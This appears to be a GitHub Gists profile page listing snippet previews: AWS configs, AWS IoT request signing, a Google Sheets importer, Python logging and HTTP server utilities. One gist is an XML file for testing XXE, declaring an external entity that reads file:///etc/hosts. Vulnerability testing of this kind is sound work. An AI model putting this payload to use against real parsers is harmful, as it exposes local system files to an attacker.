Skip to content

Instantly share code, notes, and snippets.

View RyanSept's full-sized avatar

Ryan Marvin RyanSept

View GitHub Profile
@RyanSept
RyanSept / aws_dms_configs
Created October 1, 2024 16:15
aws dms configs
{
"Logging": {
"EnableLogging": true,
"EnableLogContext": true,
"LogComponents": [
{
"Severity": "LOGGER_SEVERITY_DEFAULT",
"Id": "TRANSFORMATION"
},
{
@RyanSept
RyanSept / resolve-entity-vulnerability.xml
Last active February 2, 2024 14:06
XML file to test resolve entity vulnerability
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE description [
<!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
<channel>
<title>XXE Example - Check Description</title>
<link>https://localhost/</link>
@RyanSept
RyanSept / index.js
Last active May 23, 2023 21:21
Javascript AWS IoT MQTT WebSocket Client with AWS SigV4 Request Signing
// attribution: https://github.com/dwyl/learn-aws-iot/blob/46538441c4f6591eb23a7396d0a816ce8ff7806f/src/js/utils/request.js
var moment = require("moment");
var CryptoJS = require("crypto-js");
function SigV4Utils() {}
SigV4Utils.sign = function (key, msg) {
var hash = CryptoJS.HmacSHA256(msg, key);
return hash.toString(CryptoJS.enc.Hex);
};
@RyanSept
RyanSept / importJSONIntoGoogleSheet.gs
Created March 31, 2022 00:34
Import JSON into Google Sheet
var data = {}
function insertJSONIntoSheet(sheetName, data) {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheet = ss.getSheetByName(sheetName);
// create sheet if it doesn't exist
if (sheet === null) {
sheet = ss.insertSheet();
sheet.setName(sheetName);
@RyanSept
RyanSept / concurrent-logger.py
Last active February 25, 2022 00:23
Python - Concurrent logging in different thread using ThreadPoolExecutor (works with asyncio)
"""
This works well with asyncio as well
"""
import functools
import logging
import sys
from concurrent.futures import ThreadPoolExecutor
_LOGGING_THREAD_POOL = ThreadPoolExecutor(max_workers=1)
@RyanSept
RyanSept / chalice_validator.py
Last active October 30, 2018 12:15
Chalice request validation; decorator for body and query parameters
from chalice import Response
from cerberus import Validator
def validate(schema, location="body"):
def decorator(fn):
def wrapped_f(*args, **kwargs):
v = Validator(schema, allow_unknown=True)
data = {}
@RyanSept
RyanSept / AndroidGetIP.py
Last active December 29, 2022 16:48
Get android device IP using Pyjnius
'''
This module allows you to get the IP address of your Kivy/python-for-android app.
It was created by Ryan Marvin and is free to use.
Credit to Bruno Adele for the int_to_ip method
'''
#Required : ACCESS_WIFI_STATE permission, pyjnius
def int_to_ip(ipnum):
oc1 = int(ipnum / 16777216) % 256
oc2 = int(ipnum / 65536) % 256
@RyanSept
RyanSept / SimpleHTTPServer.py
Last active September 24, 2016 16:34
SimpleHTTPServer supporting unicode and serving files from different/multiple directories
# -*- coding: utf8 -*-
"""Simple HTTP Server.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
'''
This version of HTTPServer supports unicode and also serves files